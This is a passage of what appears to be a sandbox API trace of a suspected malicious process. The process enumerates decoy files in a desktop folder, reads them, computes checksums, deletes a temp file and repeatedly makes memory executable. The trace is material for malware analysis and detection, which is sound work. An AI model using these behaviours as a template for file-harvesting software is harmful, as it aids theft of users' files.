pbstr=0x1e7dfa00*="Files\\1\\\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x25 | out: pbstr=0x1e7dfa00*="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.735] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x25 | out: pbstr=0x1e7df970*="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.735] SysReAllocStringLen (in: pbstr=0x1e7dfa00*="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x25 | out: pbstr=0x1e7dfa00*="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.736] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", cchWideChar=37, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 37 [0165.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.736] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\~$I .doc.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.736] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.736] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.737] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.737] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.737] SysReAllocStringLen (in: pbstr=0x1e7df96c*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df96c*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.737] SysReAllocStringLen (in: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", len=0x37 | out: pbstr=0x1e7df9f8*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.737] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx" (normalized: "c:\\users\\aetadzjz\\desktop\\p0hc9z_vvr1uxdn12a\\0k3ml.docx")) returned 0x20 [0165.738] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx" (normalized: "c:\\users\\aetadzjz\\desktop\\p0hc9z_vvr1uxdn12a\\0k3ml.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x310 [0165.738] GetFileSize (in: hFile=0x310, lpFileSizeHigh=0x1e7df948 | out: lpFileSizeHigh=0x1e7df948*=0x0) returned 0x399a [0165.738] ReadFile (in: hFile=0x310, lpBuffer=0x1fcfaf44, nNumberOfBytesToRead=0x399a, lpNumberOfBytesRead=0x1e7df944, lpOverlapped=0x0 | out: lpBuffer=0x1fcfaf44*, lpNumberOfBytesRead=0x1e7df944*=0x399a, lpOverlapped=0x0) returned 1 [0165.739] CloseHandle (hObject=0x310) returned 1 [0165.739] CharToOemBuffA (in: lpszSrc="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", lpszDst=0x1fcffe3c, cchDstLength=0x25 | out: lpszDst="Files\\1\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx") returned 1 [0165.739] VirtualAlloc (lpAddress=0x1fd08000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd08000 [0165.739] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x1fd07170, Length=0x399a) returned 0x556ac42a [0165.739] VirtualAlloc (lpAddress=0x1fd0c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd0c000 [0165.740] VirtualFree (lpAddress=0x1fd00000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0165.741] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.741] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\curbuf.dat", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat") returned 0x30 [0165.741] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\curbuf.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\curbuf.dat")) returned 0 [0165.741] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab18700, ftCreationTime.dwHighDateTime=0x1d5e711, ftLastAccessTime.dwLowDateTime=0x52e0f620, ftLastAccessTime.dwHighDateTime=0x1d5dbc6, ftLastWriteTime.dwLowDateTime=0x52e0f620, ftLastWriteTime.dwHighDateTime=0x1d5dbc6, nFileSizeHigh=0x0, nFileSizeLow=0x42f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="2mCf1zBzcFI3mh.rtf", cAlternateFileName="2MCF1Z~1.RTF")) returned 1 [0165.742] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\0K3ML.docx", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf") returned 1 [0165.742] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", len=0x3f | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf") returned 1 [0165.742] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf") returned 1 [0165.742] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", len=0x3f | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf") returned 1 [0165.742] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf") returned 1 [0165.742] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", len=0x3f | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf") returned 1 [0165.742] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", len=0x3f | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf") returned 1 [0165.742] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="2mCf1zBzcFI3mh.rtf", cchWideChar=18, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2mCf1zBzcFI3mh.rtf1Uxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 18 [0165.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0165.743] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="2mCf1zBzcFI3mh.rtf", cchWideChar=18, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2mCf1zBzcFI3mh.rtf1Uxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 18 [0165.743] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="2mCf1zBzcFI3mh.rtf", cchWideChar=18, lpMultiByteStr=0x1e7de974, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2mCf1zBzcFI3mh.rtf1Uxdn12a\\0K3ML.docxUxdn12a\x0cëõà´é}\x1e\x04ëõà¼é}\x1e|.(w\x09\x04", lpUsedDefaultChar=0x0) returned 18 [0165.743] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a8c690, ftCreationTime.dwHighDateTime=0x1d5d839, ftLastAccessTime.dwLowDateTime=0x16536ab0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0x16536ab0, ftLastWriteTime.dwHighDateTime=0x1d5de16, nFileSizeHigh=0x0, nFileSizeLow=0xc012, dwReserved0=0x0, dwReserved1=0x0, cFileName="eUk_zyiGrs6MCoEM.png", cAlternateFileName="EUK_ZY~1.PNG")) returned 1 [0165.743] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\2mCf1zBzcFI3mh.rtf", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png") returned 1 [0165.743] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", len=0x41 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png") returned 1 [0165.743] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png") returned 1 [0165.743] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", len=0x41 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png") returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png") returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", len=0x41 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png") returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", len=0x41 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png") returned 1 [0165.744] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74361080, ftCreationTime.dwHighDateTime=0x1d5e404, ftLastAccessTime.dwLowDateTime=0x854d2f40, ftLastAccessTime.dwHighDateTime=0x1d5e0dd, ftLastWriteTime.dwLowDateTime=0x854d2f40, ftLastWriteTime.dwHighDateTime=0x1d5e0dd, nFileSizeHigh=0x0, nFileSizeLow=0x1819d, dwReserved0=0x0, dwReserved1=0x0, cFileName="glJYbf _k7mJ11GdAl_.wav", cAlternateFileName="GLJYBF~1.WAV")) returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\eUk_zyiGrs6MCoEM.png", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav") returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", len=0x44 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav") returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav") returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", len=0x44 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav") returned 1 [0165.744] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav") returned 1 [0165.745] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", len=0x44 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav") returned 1 [0165.745] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav") returned 1 [0165.745] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aa7e680, ftCreationTime.dwHighDateTime=0x1d5e00c, ftLastAccessTime.dwLowDateTime=0x1581af80, ftLastAccessTime.dwHighDateTime=0x1d5db68, ftLastWriteTime.dwLowDateTime=0x1581af80, ftLastWriteTime.dwHighDateTime=0x1d5db68, nFileSizeHigh=0x0, nFileSizeLow=0x18c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="h7oh7fUhcHkBZ6Fd1S2.mp4", cAlternateFileName="H7OH7F~1.MP4")) returned 1 [0165.745] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\glJYbf _k7mJ11GdAl_.wav", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4") returned 1 [0165.745] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", len=0x44 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4") returned 1 [0165.745] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4") returned 1 [0165.745] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", len=0x44 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4") returned 1 [0165.745] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4") returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", len=0x44 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4") returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4") returned 1 [0165.746] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7dfa30 | out: lpFindFileData=0x1e7dfa30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e79c620, ftCreationTime.dwHighDateTime=0x1d5e48c, ftLastAccessTime.dwLowDateTime=0x7670a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e13c, ftLastWriteTime.dwLowDateTime=0x7670a9c0, ftLastWriteTime.dwHighDateTime=0x1d5e13c, nFileSizeHigh=0x0, nFileSizeLow=0x16b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="JiloaEekTAOQp_rhBMq.mkv", cAlternateFileName="JILOAE~1.MKV")) returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\h7oh7fUhcHkBZ6Fd1S2.mp4", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv") returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7df978*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", len=0x44 | out: pbstr=0x1e7df978*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv") returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv") returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7df974*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", len=0x44 | out: pbstr=0x1e7df974*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv") returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", len=0x44 | out: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv") returned 1 [0165.746] SysReAllocStringLen (in: pbstr=0x1e7df970*=0x0, psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", len=0x44 | out: pbstr=0x1e7df970*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv") returned 1 [0165.747] SysReAllocStringLen (in: pbstr=0x1e7dfc98*="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", psz="C:\\Users\\aETAdzjz\\Desktop\\P0Hc9z_vVr1Uxdn12a\\JiloaEekTAOQp_rhBMq.mkv", len=0x44 | out: 